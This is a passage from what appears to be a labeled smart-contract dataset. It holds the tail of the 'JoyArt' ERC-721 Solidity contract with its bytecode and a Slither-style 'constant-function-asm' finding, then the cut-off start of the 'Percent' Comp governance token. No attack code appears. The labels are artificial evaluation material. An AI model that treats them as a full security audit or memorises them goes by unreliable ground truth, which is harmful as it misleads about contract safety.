/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom()
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(address _to, uint256 _tokenId) public;
// NOT IMPLEMENTED
// function getApproved(uint256 _tokenId) public view returns (address _approved);
/// Third-party initiates transfer of token from address _from to address _to.
/// @param _from The address for the token to be transferred from.
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transferFrom(address _from, address _to, uint256 _tokenId) public;
/// Owner initates the transfer of the token to another account.
/// @param _to The address of the recipient, can be a user or contract.
/// @param _tokenId The ID of the token to transfer.
/// @dev Required for ERC-721 compliance.
function transfer(address _to, uint256 _tokenId) public;
///
function implementsERC721() public view returns (bool _implementsERC721);
// EXTRA
/// @notice Allow pre-approved user to take ownership of a token.
/// @param _tokenId The ID of the token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public;
}
contract DetailedERC721 is ERC721 {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
}
contract JoyArt is AccessControl, DetailedERC721 {
using SafeMath for uint256;
event TokenCreated(uint256 tokenId, string name, uint256 price, address owner);
event TokenSold(
uint256 indexed tokenId,
string name,
uint256 sellingPrice,
uint256 newPrice,
address indexed oldOwner,
address indexed newOwner
);
mapping (uint256 => address) private tokenIdToOwner;
mapping (uint256 => uint256) private tokenIdToPrice;
mapping (address => uint256) private ownershipTokenCount;
mapping (uint256 => address) private tokenIdToApproved;
struct Art {
string name;
}
Art[] private artworks;
uint256 private startingPrice = 0.001 ether;
bool private erc721Enabled = false;
modifier onlyERC721() {
require(erc721Enabled);
_;
}
function createToken(string _name, address _owner, uint256 _price) public onlyCLevel {
require(_owner != address(0));
require(_price >= startingPrice);
_createToken(_name, _owner, _price);
}
function createToken(string _name) public onlyCLevel {
_createToken(_name, address(this), startingPrice);
}
function _createToken(string _name, address _owner, uint256 _price) private {
Art memory _art = Art({
name: _name
});
uint256 newTokenId = artworks.push(_art) - 1;
tokenIdToPrice[newTokenId] = _price;
TokenCreated(newTokenId, _name, _price, _owner);
_transfer(address(0), _owner, newTokenId);
}
function getToken(uint256 _tokenId) public view returns (
string _tokenName,
uint256 _price,
uint256 _nextPrice,
address _owner
) {
_tokenName = artworks[_tokenId].name;
_price = tokenIdToPrice[_tokenId];
_nextPrice = nextPriceOf(_tokenId);
_owner = tokenIdToOwner[_tokenId];
}
function getAllTokens() public view returns (
uint256[],
uint256[],
address[]
) {
uint256 total = totalSupply();
uint256[] memory prices = new uint256[](total);
uint256[] memory nextPrices = new uint256[](total);
address[] memory owners = new address[](total);
for (uint256 i = 0; i < total; i++) {
prices[i] = tokenIdToPrice[i];
nextPrices[i] = nextPriceOf(i);
owners[i] = tokenIdToOwner[i];
}
return (prices, nextPrices, owners);
}
function tokensOf(address _owner) public view returns(uint256[]) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 total = totalSupply();
uint256 resultIndex = 0;
for (uint256 i = 0; i < total; i++) {
if (tokenIdToOwner[i] == _owner) {
result[resultIndex] = i;
resultIndex++;
}
}
return result;
}
}
function withdrawBalance(address _to, uint256 _amount) public onlyCEO {
require(_amount <= this.balance);
uint256 amountToWithdraw = _amount;
if (amountToWithdraw == 0) {
amountToWithdraw = this.balance;
}
if(_to == address(0)) {
ceoAddress.transfer(amountToWithdraw);
} else {
_to.transfer(amountToWithdraw);
}
}
function purchase(uint256 _tokenId) public payable whenNotPaused {
address oldOwner = ownerOf(_tokenId);
address newOwner = msg.sender;
uint256 sellingPrice = priceOf(_tokenId);
require(oldOwner != address(0));
require(newOwner != address(0));
require(oldOwner != newOwner);
require(!_isContract(newOwner));
require(sellingPrice > 0);
require(msg.value >= sellingPrice);
_transfer(oldOwner, newOwner, _tokenId);
tokenIdToPrice[_tokenId] = nextPriceOf(_tokenId);
TokenSold(
_tokenId,
artworks[_tokenId].name,
sellingPrice,
priceOf(_tokenId),
oldOwner,
newOwner
);
uint256 excess = msg.value.sub(sellingPrice);
uint256 contractCut = sellingPrice.mul(10).div(100); // 10% cut
if (oldOwner != address(this)) {
oldOwner.transfer(sellingPrice.sub(contractCut));
}
if (excess > 0) {
newOwner.transfer(excess);
}
}
function priceOf(uint256 _tokenId) public view returns (uint256 _price) {
return tokenIdToPrice[_tokenId];
}
uint256 private increaseLimit1 = 0.02 ether;
uint256 private increaseLimit2 = 0.5 ether;
uint256 private increaseLimit3 = 2.0 ether;
uint256 private increaseLimit4 = 5.0 ether;
function nextPriceOf(uint256 _tokenId) public view returns (uint256 _nextPrice) {
uint256 _price = priceOf(_tokenId);
if (_price < increaseLimit1) {
return _price.mul(200).div(95);
} else if (_price < increaseLimit2) {
return _price.mul(135).div(96);
} else if (_price < increaseLimit3) {
return _price.mul(125).div(97);
} else if (_price < increaseLimit4) {
return _price.mul(117).div(97);
} else {
return _price.mul(115).div(98);
}
}
function enableERC721() public onlyCEO {
erc721Enabled = true;
}
function totalSupply() public view returns (uint256 _totalSupply) {
_totalSupply = artworks.length;
}
function balanceOf(address _owner) public view returns (uint256 _balance) {
_balance = ownershipTokenCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address _owner) {
_owner = tokenIdToOwner[_tokenId];
}
function approve(address _to, uint256 _tokenId) public whenNotPaused onlyERC721 {
require(_owns(msg.sender, _tokenId));
tokenIdToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public whenNotPaused onlyERC721 {
require(_to != address(0));
require(_owns(_from, _tokenId));
require(_approved(msg.sender, _tokenId));
_transfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public whenNotPaused onlyERC721 {
require(_to != address(0));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function implementsERC721() public view whenNotPaused returns (bool) {
return erc721Enabled;
}
function takeOwnership(uint256 _tokenId) public whenNotPaused onlyERC721 {
require(_approved(msg.sender, _tokenId));
_transfer(tokenIdToOwner[_tokenId], msg.sender, _tokenId);
}
function name() public view returns (string _name) {
_name = "John Orion Young";
}
function symbol() public view returns (string _symbol) {
_symbol = "JOY";
}
function _owns(address _claimant, uint256 _tokenId) private view returns (bool) {
return tokenIdToOwner[_tokenId] == _claimant;
}
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return tokenIdToApproved[_tokenId] == _to;
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownershipTokenCount[_to]++;
tokenIdToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete tokenIdToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
function _isContract(address addr) private view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0x60606040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610164578063095ea7b3146101f25780630a0f8168146102345780630cf20cc9146102895780631051db34146102cb57806318160ddd146102f857806323b872dd1461032157806327d7874c146103825780632a5c792a146103bb5780632ba73c15146104b55780633f4ba83a146104ee57806345576f94146105035780635a3f2672146105605780635ba9e48e146105ee5780635c975abb146106255780636352211e1461065257806370a08231146106b557806371dc761e1461070257806373b4df05146107175780638456cb591461079c57806395d89b41146107b1578063a9059cbb1461083f578063b047fb5014610881578063b2e6ceeb146108d6578063b9186d7d146108f9578063e4b50cb814610930578063efef39a114610a0d575b600080fd5b341561016f57600080fd5b610177610a25565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b757808201518184015260208101905061019c565b50505050905090810190601f1680156101e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101fd57600080fd5b610232600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a68565b005b341561023f57600080fd5b610247610b6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561029457600080fd5b6102c9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b94565b005b34156102d657600080fd5b6102de610d1f565b604051808215151515815260200191505060405180910390f35b341561030357600080fd5b61030b610d52565b6040518082815260200191505060405180910390f35b341561032c57600080fd5b610380600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d5f565b005b341561038d57600080fd5b6103b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e0c565b005b34156103c657600080fd5b6103ce610ee6565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b838110156104195780820151818401526020810190506103fe565b50505050905001848103835286818151815260200191508051906020019060200280838360005b8381101561045b578082015181840152602081019050610440565b50505050905001848103825285818151815260200191508051906020019060200280838360005b8381101561049d578082015181840152602081019050610482565b50505050905001965050505050505060405180910390f35b34156104c057600080fd5b6104ec600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611087565b005b34156104f957600080fd5b610501611162565b005b341561050e57600080fd5b61055e600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506111f5565b005b341561056b57600080fd5b610597600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112b8565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105da5780820151818401526020810190506105bf565b505050509050019250505060405180910390f35b34156105f957600080fd5b61060f60048080359060200190919050506113ee565b6040518082815260200191505060405180910390f35b341561063057600080fd5b61063861150c565b604051808215151515815260200191505060405180910390f35b341561065d57600080fd5b610673600480803590602001909190505061151f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c057600080fd5b6106ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061155c565b6040518082815260200191505060405180910390f35b341561070d57600080fd5b6107156115a5565b005b341561072257600080fd5b61079a600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061161d565b005b34156107a757600080fd5b6107af61172d565b005b34156107bc57600080fd5b6107c46117c0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108045780820151818401526020810190506107e9565b50505050905090810190601f1680156108315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561084a57600080fd5b61087f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611803565b005b341561088c57600080fd5b61089461189a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108e157600080fd5b6108f760048080359060200190919050506118c0565b005b341561090457600080fd5b61091a600480803590602001909190505061194d565b6040518082815260200191505060405180910390f35b341561093b57600080fd5b610951600480803590602001909190505061196a565b60405180806020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825286818151815260200191508051906020019080838360005b838110156109cf5780820151818401526020810190506109b4565b50505050905090810190601f1680156109fc5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b610a236004808035906020019091905050611a8d565b005b610a2d6122a3565b6040805190810160405280601081526020017f4a6f686e204f72696f6e20596f756e6700000000000000000000000000000000815250905090565b600160149054906101000a900460ff16151515610a8457600080fd5b600860009054906101000a900460ff161515610a9f57600080fd5b610aa93382611e0f565b1515610ab457600080fd5b816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bf157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16318211151515610c1757600080fd5b8190506000811415610c3e573073ffffffffffffffffffffffffffffffffffffffff163190505b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cd9576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610cd457600080fd5b610d1a565b8273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610d1957600080fd5b5b505050565b6000600160149054906101000a900460ff16151515610d3d57600080fd5b600860009054906101000a900460ff16905090565b6000600680549050905090565b600160149054906101000a900460ff16151515610d7b57600080fd5b600860009054906101000a900460ff161515610d9657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610dd257600080fd5b610ddc8382611e0f565b1515610de757600080fd5b610df13382611e7b565b1515610dfc57600080fd5b610e07838383611ee7565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e6757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ea357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610eee6122b7565b610ef66122b7565b610efe6122cb565b6000610f086122b7565b610f106122b7565b610f186122cb565b6000610f22610d52565b945084604051805910610f325750595b9080825280602002602001820160405250935084604051805910610f535750595b9080825280602002602001820160405250925084604051805910610f745750595b90808252806020026020018201604052509150600090505b848110156110745760036000828152602001908152602001600020548482815181101515610fb657fe5b9060200190602002018181525050610fcd816113ee565b8382815181101515610fdb57fe5b90602001906020020181815250506002600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828281518110151561102b57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050610f8c565b8383839750975097505050505050909192565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110e257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561111e57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111bd57600080fd5b600160149054906101000a900460ff1615156111d857600080fd5b6000600160146101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061129d5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156112a857600080fd5b6112b581306007546120af565b50565b6112c06122b7565b60006112ca6122b7565b60008060006112d88761155c565b9450600085141561130a5760006040518059106112f25750595b908082528060200260200182016040525095506113e4565b846040518059106113185750595b90808252806020026020018201604052509350611333610d52565b925060009150600090505b828110156113e0578673ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156113d3578084838151811015156113bc57fe5b906020019060200201818152505081806001019250505b808060010191505061133e565b8395505b5050505050919050565b6000806113fa8361194d565b90506009548110156114345761142d605f61141f60c88461222190919063ffffffff16565b61225c90919063ffffffff16565b9150611506565b600a5481101561146c57611465606061145760878461222190919063ffffffff16565b61225c90919063ffffffff16565b9150611506565b600b548110156114a45761149d606161148f607d8461222190919063ffffffff16565b61225c90919063ffffffff16565b9150611506565b600c548110156114dc576114d560616114c760758461222190919063ffffffff16565b61225c90919063ffffffff16565b9150611506565b61150360626114f560738461222190919063ffffffff16565b61225c90919063ffffffff16565b91505b50919050565b600160149054906101000a900460ff1681565b60006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160057600080fd5b6001600860006101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116c55750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156116d057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561170c57600080fd5b600754811015151561171d57600080fd5b6117288383836120af565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561178857600080fd5b600160149054906101000a900460ff161515156117a457600080fd5b60018060146101000a81548160ff021916908315150217905550565b6117c86122a3565b6040805190810160405280600381526020017f4a4f590000000000000000000000000000000000000000000000000000000000815250905090565b600160149054906101000a900460ff1615151561181f57600080fd5b600860009054906101000a900460ff16151561183a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561187657600080fd5b6118803382611e0f565b151561188b57600080fd5b611896338383611ee7565b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160149054906101000a900460ff161515156118dc57600080fd5b600860009054906101000a900460ff1615156118f757600080fd5b6119013382611e7b565b151561190c57600080fd5b61194a6002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383611ee7565b50565b600060036000838152602001908152602001600020549050919050565b6119726122a3565b600080600060068581548110151561198657fe5b90600052602060002090016000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a285780601f106119fd57610100808354040283529160200191611a28565b820191906000526020600020905b815481529060010190602001808311611a0b57829003601f168201915b5050505050935060036000868152602001908152602001600020549250611a4e856113ee565b91506002600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690509193509193565b6000806000806000600160149054906101000a900460ff16151515611ab157600080fd5b611aba8661151f565b9450339350611ac88661194d565b9250600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515611b0657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611b4257600080fd5b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515611b7d57600080fd5b611b8684612277565b151515611b9257600080fd5b600083111515611ba157600080fd5b823410151515611bb057600080fd5b611bbb858588611ee7565b611bc4866113ee565b60036000888152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16877fef3f7c55f619f7c9178e080691f6d9bc90a74668d32c107dea7c87da023c9a0f60068a815481101515611c3a57fe5b906000526020600020900160000187611c528c61194d565b6040518080602001848152602001838152602001828103825285818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015611ce75780601f10611cbc57610100808354040283529160200191611ce7565b820191906000526020600020905b815481529060010190602001808311611cca57829003601f168201915b505094505050505060405180910390a4611d0a833461228a90919063ffffffff16565b9150611d336064611d25600a8661222190919063ffffffff16565b61225c90919063ffffffff16565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515611dbd578473ffffffffffffffffffffffffffffffffffffffff166108fc611d97838661228a90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501515611dbc57600080fd5b5b6000821115611e07578373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515611e0657600080fd5b5b505050505050565b60008273ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff166005600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151561204557600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055506005600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6120b76122df565b60006020604051908101604052808681525091506001600680548060010182816120e191906122f9565b916000526020600020900160008590919091506000820151816000019080519060200190612110929190612325565b5050500390508260036000838152602001908152602001600020819055507fd306967beeb39489cb6724748118d29c59bd0f0e17a5dd711b4f4d3dea3a1c478186858760405180858152602001806020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825285818151815260200191508051906020019080838360005b838110156121d15780820151818401526020810190506121b6565b50505050905090810190601f1680156121fe5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a161221a60008583611ee7565b5050505050565b60008060008414156122365760009150612255565b828402905082848281151561224757fe5b0414151561225157fe5b8091505b5092915050565b600080828481151561226a57fe5b0490508091505092915050565b600080823b905060008111915050919050565b600082821115151561229857fe5b818303905092915050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b6020604051908101604052806122f36123a5565b81525090565b8154818355818115116123205781836000526020600020918201910161231f91906123b9565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061236657805160ff1916838001178555612394565b82800160010185558215612394579182015b82811115612393578251825591602001919060010190612378565b5b5090506123a191906123e8565b5090565b602060405190810160405280600081525090565b6123e591905b808211156123e157600080820160006123d8919061240d565b506001016123bf565b5090565b90565b61240a91905b808211156124065760008160009055506001016123ee565b5090565b90565b50805460018160011615610100020316600290046000825580601f106124335750612452565b601f01602090049060005260206000209081019061245191906123e8565b5b505600a165627a7a723058204850b130b0c9b696394f163b2b258082bf46c0d80841967bdba5480b36caa79b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}} | 10,628 |
0xbc16da9df0a22f01a16bc0620a27e7d6d6488550 | // Official Website: percent.finance
// File: contracts/Governance/Comp.sol
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract Comp {
/// @notice EIP-20 token name for this token
string public constant name = "Percent";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "PCT";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 20000000e18; // 20 million PCT
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Comp token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(now <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
